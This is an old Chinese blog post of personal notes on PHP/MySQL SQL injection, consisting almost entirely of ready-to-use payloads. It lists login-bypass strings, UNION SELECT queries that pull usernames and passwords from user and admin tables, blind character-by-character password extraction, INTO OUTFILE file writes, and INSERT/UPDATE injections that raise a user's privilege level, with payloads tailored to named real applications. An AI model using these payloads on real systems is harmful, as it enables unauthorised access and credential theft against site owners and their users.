PHP注入一路小跑[ 2006-04-20 14:16:55 | 作者: 承諾 ]
很老的了,我是給我自己看的。忘了好多,補習一下
![]() ‘ or ‘1=1 ‘/* ‘%23 ‘ and password=‘mypass id=-1 union select 1,1,1 id=-1 union select char(97),char(97),char(97) id=1 union select 1,1,1 from members id=1 union select 1,1,1 from admin id=1 union select 1,1,1 from user userid=1 and password=mypass userid=1 and mid(password,3,1)=char(112) userid=1 and mid(password,4,1)=char(97) and ord(mid(password,3,1))>111 (ord函數(shù)很好用,可以返回整形的) ‘ and LENGTH(password)=‘6(探測密碼長度) ‘ and LEFT(password,1)=‘m ‘ and LEFT(password,2)=‘my …………………………依次類推 ‘ union select 1,username,password from user/* ‘ union select 1,username,password from user/* =‘ union select 1,username,password from user/* (可以是1或者=后直接跟) 99999‘ union select 1,username,password from user/* ‘ into outfile ‘c:/file.txt (導出文件) =‘ or 1=1 into outfile ‘c:/file.txt 1‘ union select 1,username,password from user into outfile ‘c:/user.txt select password FROM admins where login=‘John‘ INTO DUMPFILE ‘/path/to/site/file.txt‘ id=‘ union select 1,username,password from user into outfile id=-1 union select 1,database(),version() (靈活應(yīng)用查詢) 常用查詢測試語句, select * FROM table where 1=1 select * FROM table where ‘uuu‘=‘uuu‘ select * FROM table where 1<>2 select * FROM table where 3>2 select * FROM table where 2<3 select * FROM table where 1 select * FROM table where 1+1 select * FROM table where 1--1 select * FROM table where ISNULL(NULL) select * FROM table where ISNULL(COT(0)) select * FROM table where 1 IS NOT NULL select * FROM table where NULL IS NULL select * FROM table where 2 BETWEEN 1 AND 3 select * FROM table where ‘b‘ BETWEEN ‘a(chǎn)‘ AND ‘c‘ select * FROM table where 2 IN (0,1,2) select * FROM table where CASE WHEN 1>0 THEN 1 END 例如:夜貓下載系統(tǒng)1.0版本 id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替換,尋找密碼) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (驗證第一位密碼) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 ………………………………………………………… 例如2:灰色軌跡 變換id進行測試(meteor) union%20(select%20allowsmilies,public,userid,‘0000-0-0‘,user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate union%20(select%20allowsmilies,public,userid,‘0000-0-0‘,pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate 構(gòu)造語句: select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) union%20(select%201,0,2,‘1999-01-01‘,‘a(chǎn)‘,password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate union%20(select%201,0,12695,‘1999-01-01‘,‘a(chǎn)‘,password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate union%20(select%201,0,12695,‘1999-01-01‘,‘a(chǎn)‘,userid%20FROM%20user%20where%20username=‘sandflee‘)%20order%20by%20eventdate (查沙子的id) (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10) select * FROM article where articleid=‘$id‘ union select * FROM……(字段和數(shù)據(jù)庫相同情況下,可直接提交) select * FROM article where articleid=‘$id‘ union select 1,1,1,1,1,1,1 FROM……(不同的情況下) 特殊技巧:在表單,搜索引擎等地方寫: "___" ".__ " "% %‘ ORDER BY articleid/* %‘ ORDER BY articleid# __‘ ORDER BY articleid/* __‘ ORDER BY articleid# $command = "dir c:\";system($command); select * FROM article where articleid=‘$id‘ select * FROM article where articleid=$id 1‘ and 1=2 union select * from user where userid=1/* 句中變?yōu)? (select * FROM article where articleid=‘1‘ and 1=2 union select * from user where userid=1/*‘) 1 and 1=2 union select * from user where userid=1 語句形式:建立一個庫,插入: create DATABASE `injection` create TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default ‘‘, `password` varchar(20) NOT NULL default ‘‘, PRIMARY KEY (`userid`) ) ; insert INTO `user` VALUES (1, ‘swap‘, ‘mypass‘); 插如一個注冊用戶: insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (‘‘, ‘$username‘, ‘$password‘, ‘$homepage‘, ‘1‘); "insert INTO membres (login,password,nom,email,userlevel) VALUES (‘$login‘,‘$pass‘,‘$nom‘,‘$email‘,‘1‘)"; insert INTO membres (login,password,nom,email,userlevel) VALUES (‘‘,‘‘,‘‘,‘‘,‘3‘)#‘,‘1‘) "insert INTO membres SET login=‘$login‘,password=‘$pass‘,nom=‘$nom‘,email=‘$email‘"; insert INTO membres SET login=‘‘,password=‘‘,nom=‘‘,userlevel=‘3‘,email=‘‘ "insert INTO membres VALUES (‘$id‘,‘$login‘,‘$pass‘,‘$nom‘,‘$email‘,‘1‘)"; update user SET password=‘$password‘, homepage=‘$homepage‘ where id=‘$id‘ update user SET password=‘MD5(mypass)‘ where username=‘a(chǎn)dmin‘#)‘, homepage=‘$homepage‘ where id=‘$id‘ "update membres SET password=‘$pass‘,nom=‘$nom‘,email=‘$email‘ where id=‘$id‘"; update membres SET password=‘[PASS]‘,nom=‘‘,userlevel=‘3‘,email=‘ ‘ where id=‘[ID]‘ "update news SET Votes=Votes+1, score=score+$note where idnews=‘$id‘"; 長用函數(shù): DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() 比如: update article SET title=$title where articleid=1 對應(yīng)函數(shù) update article SET title=DATABASE() where id=1 #把當前數(shù)據(jù)庫名更新到title字段 update article SET title=USER() where id=1 #把當前 MySQL 用戶名更新到title字段 update article SET title=SYSTEM_USER() where id=1 #把當前 MySQL 用戶名更新到title字段 update article SET title=SESSION_USER() where id=1 #把當前 MySQL 用戶名更新到title字段 update article SET title=CURRENT_USER() where id=1 #把當前會話被驗證匹配的用戶名更新到title字段 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: $req = "select * FROM membres where name like ‘%$search%‘ ORDER BY name"; select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name select uid FROM admins where login=‘‘ OR ‘a(chǎn)‘=‘a(chǎn)‘ AND password=‘‘ OR ‘a(chǎn)‘=‘a(chǎn)‘ (經(jīng)典) select uid FROM admins where login=‘‘ OR admin_level=1#‘ AND password=‘‘ select * FROM table where msg like ‘%hop‘ select uid FROM membres where login=‘Bob‘ AND password like ‘a(chǎn)%‘#‘ AND password=‘‘ select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name |
|
來自: intruder > 《技術(shù)文章》